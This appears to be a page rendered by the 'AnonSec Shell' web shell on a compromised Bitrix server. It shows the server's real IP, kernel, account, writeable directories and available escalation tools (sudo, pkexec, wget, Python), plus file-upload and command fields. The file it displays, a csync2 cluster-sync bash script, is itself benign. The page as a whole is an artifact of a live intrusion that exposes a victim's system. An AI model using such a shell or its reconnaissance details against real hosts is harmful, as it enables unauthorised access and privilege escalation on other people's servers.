AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.144.45.178
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/webdir/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /opt/webdir/bin/csync2_full_push
#!/bin/bash
# set -x

CSYNC2_NAME=$1
VERBOSE=$2
[[ -z $CSYNC2_NAME ]] && CSYNC2_NAME=bxcluster
[[ -z $VERBOSE ]] && VERBOSE=0

LOG_NAME="/var/log/csync2/update_$CSYNC2_NAME.log"
LOCK_NAME=/tmp/csync2_$CSYNC2_NAME.lock
DATE_FORMAT='+%F_%H:%M:%S'

# save message to log
save_to_log(){
  log_message=$1
  # print message for debug
  [[ $VERBOSE -gt 0 ]] && echo "$( date ${DATE_FORMAT} ): [$$] $log_message"

  echo "$( date ${DATE_FORMAT} ): [$$] $log_message" >> $LOG_NAME
}

# create lock
create_lock_file(){
  if [[ -f $LOCK_NAME ]]; then
    process_pid=$(cat $LOCK_NAME)
    if [[ $(ps -ef | grep $process_pid | grep -cv grep) -gt 0 ]]; then
      save_to_log "Another csync2 running. Exit."
      exit 2
    fi
  fi
  echo $$ > $LOCK_NAME
  save_to_log "Created lock file"
}

# delete lock
delete_lock_file(){
  if [[ -f $LOCK_NAME ]]; then
    rm -f $LOCK_NAME
    save_to_log "Removed lock file"
  fi
}

# check LA, stop if it is too high
check_la_value(){
  LA=$(/usr/bin/uptime | /bin/awk -F"load average: " '{print $2}' | /bin/awk -F\. '{print $1}')

  if [[ $LA -ge 10 ]]; then
    save_to_log "Load average - $LA - too high! Exit."
    exit 3
  fi
}

# 01. Check LA on host
check_la_value

# 02. Create sync lock file
create_lock_file

# log info
save_to_log "----- Start push: $CSYNC2_NAME -----"
save_to_log "Checking updates..."
save_to_log "Enter FULL mode:"
save_to_log "Start -cr /:"
# 03. Check files and maybe add to dirty db (-cr)
/usr/sbin/csync2 -C $CSYNC2_NAME -B -cr /

# 04. list all updates to log file
# -B - everything into big SQL transactions ( slow but allow multiple process )
# -M - List all dirty files from status db
save_to_log "Detected updates:"
/usr/sbin/csync2 -C $CSYNC2_NAME -B -M >> $LOG_NAME 2>&1

# 05. push updates
# -u - transfer dirty files to peers and mark as clear
save_to_log "Push updates to other nodes of cluster:"
/usr/sbin/csync2 -C $CSYNC2_NAME -B -u >> $LOG_NAME 2>&1

# 06. remove local file
delete_lock_file

save_to_log "Work done."
exit 0

Anon7 - 2022
AnonSec Team